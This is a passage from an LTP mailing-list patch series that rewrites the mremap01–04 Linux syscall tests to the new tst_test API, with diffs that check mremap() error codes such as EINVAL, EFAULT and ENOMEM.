- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap02
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if the virtual memory area previously
- *   mapped was not page aligned or invalid argument specified.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to EINVAL.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call fails with expected return value and errno.
- *	Otherwise,
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``EINVAL`` when it is used
+ * to expand an existing mapping while the passed ``old_address`` is not page
+ * aligned.
  *
- * Usage:  <for command-line>
- *  mremap02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *	       -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
+ * [Algorithm]
  *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *
- * RESTRICTIONS:
- *  None.
+ * - Map a single anonymous page.
+ * - Call mremap() to grow it to two pages with ``MREMAP_MAYMOVE``, passing a
+ *   deliberately misaligned ``old_address`` (mapping start + 1 byte).
+ * - Expect the call to fail with ``MAP_FAILED`` and ``EINVAL``.
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <sys/mman.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "mremap02";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
+static long page_size;
+static size_t new_size;
+static void *page;
+static void *bad_addr;
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	page_size = getpagesize();
+	new_size = page_size * 2;
 
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing mapped
-		 * memory region (memsize) by newsize limits using
-		 * mremap() should fail as old virtual address is not
-		 * page aligned.
-		 */
-		errno = 0;
-		addr = mremap(addr, memsize, newsize, MREMAP_MAYMOVE);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TBROK, cleanup, "munmap fails to "
-					 "unmap the expanded memory region, "
-					 "error=%d", errno);
-			}
-			continue;
-		}
-
-		if (errno == EINVAL) {
-			tst_resm(TPASS, "mremap() Failed, 'invalid argument "
-				 "specified' - errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() Failed, "
-				 "'Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
+	/* Force a non-page-aligned old_address, the invalid argument. */
+	bad_addr = (char *)page + 1;
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * new size after resize, Set the virtual memory address such that it
- * is not aligned.
- */
-void setup(void)
+static void run(void)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Get the system page size */
-	if ((memsize = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize() fails to get system page size");
+	TST_EXP_FAIL_PTR_VOID(mremap(bad_addr, page_size, new_size,
+				     MREMAP_MAYMOVE), EINVAL);
+
+	if (TST_RET_PTR != MAP_FAILED) {
+		SAFE_MUNMAP(TST_RET_PTR, new_size);
+		page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE,
+				 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+		bad_addr = (char *)page + 1;
 	}
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/* Set the old virtual memory address */
-	addr = (char *)(addr + (memsize - 1));
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/* Exit the program */
-
+	SAFE_MUNMAP(page, page_size);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 08:59:08 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:08 +0200
Subject: [LTP] [PATCH v2 3/6] mremap03: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-3-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap03 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to use TST_EXP_FAIL_PTR_VOID() to verify that
mremap() fails with MAP_FAILED and EFAULT when growing a mapping
whose old_address refers to an unmapped region obtained via
tst_get_bad_addr().

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap03.c | 203 +++++-----------------------
 1 file changed, 34 insertions(+), 169 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap03.c b/testcases/kernel/syscalls/mremap/mremap03.c
index 02b79bc47..6003657d4 100644
--- a/testcases/kernel/syscalls/mremap/mremap03.c
+++ b/testcases/kernel/syscalls/mremap/mremap03.c
@@ -1,187 +1,52 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap03
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if there already exists mappings that
- *   cover the whole address space requsted or the old address specified was
- *   not mapped.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to EFAULT.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call fails with expected return value and errno.
- *	Otherwise,
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``EFAULT`` when it is used
+ * to expand a mapping whose ``old_address`` refers to a region that is not
+ * mapped.
  *
- * Usage:  <for command-line>
- *  mremap03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
+ * [Algorithm]
  *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *
- * RESTRICTIONS:
- *  None.
+ * - Obtain an unmapped address via ``tst_get_bad_addr()``.
+ * - Call mremap() to grow it to twice its size with ``MREMAP_MAYMOVE``,
+ *   passing the unmapped ``old_address``.
+ * - Expect the call to fail with ``MAP_FAILED`` and ``EFAULT``.
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <sys/mman.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "mremap03";
-int TST_TOTAL = 1;
-static char *bad_addr;
-static char *addr;		/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
+static long page_size;
+static size_t memsize;
+static size_t newsize;
+static void *bad_addr;
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing mapped
-		 * memory region (memsize) by newsize limits
-		 * using mremap() should fail as specified old
-		 * virtual address was not mapped.
-		 */
-		errno = 0;
-		addr = mremap(bad_addr, memsize, newsize, MREMAP_MAYMOVE);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TFAIL, cleanup, "munmap fails to "
-					 "unmap the expanded memory region, "
-					 " error=%d", errno);
-			}
-			continue;
-		}
-
-		/* Check for the expected errno */
-		if (errno == EFAULT) {
-			tst_resm(TPASS, "mremap() Fails, 'old region not "
-				 "mapped', errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() Fails, "
-				 "'Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	page_size = getpagesize();
+	memsize = 1000 * page_size;
+	newsize = 2 * memsize;
 
+	bad_addr = tst_get_bad_addr(NULL);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size.
- * Set the old address point some high address which is not mapped.
- */
-void setup(void)
+static void run(void)
 {
-	int page_sz;		/* system page size */
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL_PTR_VOID(mremap(bad_addr, memsize, newsize,
+				     MREMAP_MAYMOVE), EFAULT);
 
-	/* Get the system page size */
-	if ((page_sz = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize() fails to get system page size");
-	}
-
-	/* Get the size of virtual memory area to be mapped */
-	memsize = (1000 * page_sz);
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/*
-	 * Set the old virtual address point to some address
-	 * which is not mapped.
-	 */
-	bad_addr = tst_get_bad_addr(cleanup);
+	if (TST_RET_PTR != MAP_FAILED)
+		SAFE_MUNMAP(TST_RET_PTR, newsize);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/* Exit the program */
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 08:59:09 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:09 +0200
Subject: [LTP] [PATCH v2 4/6] mremap04: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-4-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap04 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to use TST_EXP_FAIL_PTR_VOID() to verify that
mremap() fails with MAP_FAILED and ENOMEM when growing an existing
SysV shared memory mapping in place (old_size=1 page, new_size=2
pages, flags=0, no MREMAP_MAYMOVE) beyond what can be expanded at
its current virtual address.

Switch the Makefile from libltpipc to libltpnewipc, since the
new-API test now relies on GETIPCKEY() from tse_newipc.h.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/Makefile   |   4 +-
 testcases/kernel/syscalls/mremap/mremap04.c | 265 +++++-----------------------
 2 files changed, 45 insertions(+), 224 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/Makefile b/testcases/kernel/syscalls/mremap/Makefile
index 8811b887e..4c8990ea8 100644
--- a/testcases/kernel/syscalls/mremap/Makefile
+++ b/testcases/kernel/syscalls/mremap/Makefile
@@ -3,11 +3,11 @@
 
 top_srcdir		?= ../../../..
 
-LTPLIBS = ipc
+LTPLIBS = newipc
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-mremap04: LTPLDLIBS  = -lltpipc
+mremap04: LTPLDLIBS  = -lltpnewipc
 mremap07: LDLIBS  += -lpthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mremap/mremap04.c b/testcases/kernel/syscalls/mremap/mremap04.c
index 53902df73..e9e394188 100644
--- a/testcases/kernel/syscalls/mremap/mremap04.c
+++ b/testcases/kernel/syscalls/mremap/mremap04.c
@@ -1,245 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * 02/2008 Modified by Renaud Lottiaux <Renaud.Lottiaux@kerlabs.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap04
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if the memory area cannot be expanded at
- *   the current virtual address and MREMAP_MAYMOVE flag not set.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to ENOMEM.
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``ENOMEM`` when it is used
+ * to expand an existing mapping in place, if the region cannot be expanded at
+ * the current virtual address and the ``MREMAP_MAYMOVE`` flag is not set.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
+ * [Algorithm]
  *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call failed with expected return value and errno.
- *	Otherwise,
- *		Issue sys call failed with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory(s)/file(s) created.
- *
- * Usage:  <for command-line>
- *  mremap04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *      26/02/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
- *      - Fix concurrency issue. Use a shm key from getipckey instead of
- *        a fixed hard-coded value.
- *
- * RESTRICTIONS:
- *  None.
+ * - map an anonymous region of two pages
+ * - call mremap() on the mapped address to grow it from one page to two
+ *   pages with ``flags`` set to 0 (no ``MREMAP_MAYMOVE``)
+ * - expect the call to fail with ``MAP_FAILED`` and ``ENOMEM``
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
 #include <sys/mman.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
+#include "tst_test.h"
 
-#include "test.h"
+static void *addr = MAP_FAILED;
+static size_t memsize;
+static size_t newsize;
 
-#define SHM_MODE	(SHM_R | SHM_W)	/* mode permissions of shared memory */
-
-char *TCID = "mremap04";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-char *shmaddr;			/* pointer to shared memory segment */
-int shmid;			/* shared memory identifier. */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-extern int getipckey();
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing shared
-		 * memory region of newsize by newsize limits
-		 * using mremap() should fail as specified
-		 * memory area already locked and MREMAP_MAYMOVE
-		 * flag unset.
-		 */
-		errno = 0;
-		addr = mremap(shmaddr, memsize, newsize, 0);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TFAIL, cleanup, "munmap failed to "
-					 "unmap the expanded memory region, "
-					 "error=%d", errno);
-			}
-			continue;
-		}
-
-		if (TEST_ERRNO == ENOMEM) {
-			tst_resm(TPASS, "mremap() failed, "
-				 "'MREMAP_MAYMOVE flag unset', "
-				 "errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() failed, "
-				 "Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	memsize = getpagesize();
+	newsize = memsize * 2;
 
+	addr = SAFE_MMAP(NULL, newsize, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * newsize after resize,
- * Create a named shared memory segment SHMKEY of newsize and mode SHM_MODE
- * by using shmget() which returns a shared memory identifier associated
- * with the created shared memory segment.
- * Call shmat() to attach the shared memory segment to the data segment of the
- * calling process. The segment is attached at the first available address as
- * selected by the system.
- */
-void setup(void)
+static void run(void)
 {
-	key_t shmkey;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Get the system page size */
-	if ((memsize = getpagesize()) < 0) {
-		tst_brkm(TBROK, NULL,
-			 "getpagesize() failed to get system page size");
-	}
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
 	/*
-	 * Create a shared memory segment represented by SHMKEY of
-	 * specified size 'newsize' and mode permissions 'SHM_MODE'.
+	 * Pass old_size of one page while the segment is two pages: the
+	 * mismatch is intentional and must be preserved. The next page
+	 * is occupied by our own mapping, so it cannot be expanded in place.
 	 */
-	shmid = shmget(shmkey, newsize, IPC_CREAT | SHM_MODE);
-	if (shmid == -1) {
-		tst_brkm(TBROK, NULL, "shmget() Failed to create a shared "
-			 "memory, error:%d", errno);
-	}
+	TST_EXP_FAIL_PTR_VOID(mremap(addr, memsize, newsize, 0), ENOMEM);
 
-	/*
-	 * Attach  the shared memory segment associated with the shared
-	 * memory identifier specified by "shmid" to the data segment of
-	 * the calling process at the first available address as selected
-	 * by the system.
-	 */
-	shmaddr = shmat(shmid, NULL, 0);
-	if (shmaddr == (void *)-1) {
-		tst_brkm(TBROK, cleanup, "shmat() Failed to attach shared "
-			 "memory, error:%d", errno);
+	if (TST_RET_PTR != MAP_FAILED) {
+		SAFE_MUNMAP(TST_RET_PTR, newsize);
+		addr = SAFE_MMAP(NULL, newsize, PROT_READ | PROT_WRITE,
+				 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 	}
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *	       Detach the shared memory segment and remove the shared memory
- *	       identifier associated with the shared memory.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/*
-	 * Detach the shared memory segment attached to
-	 * the calling process's data segment
-	 */
-	if (shmdt(shmaddr) < 0) {
-		tst_brkm(TFAIL, NULL, "shmdt() Failed to detach shared "
-			 "memory, error:%d", errno);
-	}
-
-	/*
-	 * Remove the shared memory identifier associated with
-	 * the shared memory segment and destroy the shared memory
-	 * segment.
-	 */
-	if (shmctl(shmid, IPC_RMID, 0) < 0) {
-		tst_brkm(TFAIL, NULL, "shmctl() Failed to remove shared "
-			 "memory, error:%d", errno);
-	}
-
-	tst_rmdir();
-
-	/* Exit the program */
-
+	if (addr != MAP_FAILED)
+		SAFE_MUNMAP(addr, newsize);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 08:59:06 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:06 +0200
Subject: [LTP] [PATCH v2 1/6] mremap01: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-1-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the test to the new LTP API (tst_test.h) using a semantic
rewrite. The test verifies that mremap() with MREMAP_MAYMOVE can grow a
file-backed MAP_SHARED mapping, that the grown region is fully usable,
and that its contents synchronize to the backing file via msync().

The mapping work is performed per-iteration so that '-i' runs always
grow a freshly created mapping instead of an already-grown one.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap01.c | 281 +++++++++-------------------
 1 file changed, 85 insertions(+), 196 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap01.c b/testcases/kernel/syscalls/mremap/mremap01.c
index 8c241d45c..c6f2cb6a9 100644
--- a/testcases/kernel/syscalls/mremap/mremap01.c
+++ b/testcases/kernel/syscalls/mremap/mremap01.c
@@ -1,237 +1,126 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap01
- *
- * Test Description:
- *  Verify that, mremap() succeeds when used to expand the existing
- *  virtual memory mapped region to the requested size where the
- *  virtual memory area was previously mapped to a file using mmap().
+/*\
+ * Verify that :manpage:`mremap(2)` succeeds when used to expand an existing
+ * virtual memory region that was previously mapped to a file with
+ * :manpage:`mmap(2)`.
  *
- * Expected Result:
- *  mremap() should succeed returning the address of new virtual memory area.
- *  The expanded mapped memory region should be accessible and able to
- *  synchronize with the file.
+ * After growing the mapping with ``MREMAP_MAYMOVE``, the expanded region must
+ * be fully accessible and its contents must synchronize to the backing file
+ * with :manpage:`msync(2)`.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
+ * [Algorithm]
  *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  mremap01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *	Modified.
- *	- #include <linux/mman.h> should not be included as per man page for
- *	  mremap, #include <sys/mman.h> alone should do the job. But inorder
- *	  to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *	  (included by sys/mman.h) __USE_GNU needs to be defined.
- *	  There may be a more elegant way of doing this...
- *
- * RESTRICTIONS:
- *  None.
+ * - create a temporary file and stretch it to the initial mapping size
+ * - map the file with ``MAP_SHARED`` and ``PROT_WRITE``
+ * - stretch the file to the new (larger) size before growing the mapping
+ * - grow the mapping with mremap() and ``MREMAP_MAYMOVE``
+ * - write every byte of the grown region to prove it is usable
+ * - synchronize the region to the backing file with ``MS_SYNC``
+ * - read the data back from the backing file to prove it was synchronized
  */
 
 #define _GNU_SOURCE
-#include <unistd.h>
 #include <errno.h>
 #include <sys/mman.h>
-#include <fcntl.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
+#include "tst_safe_prw.h"
 
 #define TEMPFILE	"mremapfile"
 
-char *TCID = "mremap01";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
-int fildes;			/* file descriptor for tempfile */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
+static char *addr = MAP_FAILED;
+static size_t memsize;
+static size_t newsize;
+static int fildes = -1;
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int ind;		/* counter variable */
+	int pagesz = getpagesize();
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	memsize = 1000 * pagesz;
+	newsize = memsize * 2;
 
-	tst_count = 0;
+	fildes = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666);
+}
 
-	setup();
+static int verify_file(void)
+{
+	size_t offsets[3];
+	unsigned int i;
+	char got;
 
-	/*
-	 * Call mremap to expand the existing mapped
-	 * memory region (memsize) by newsize limits.
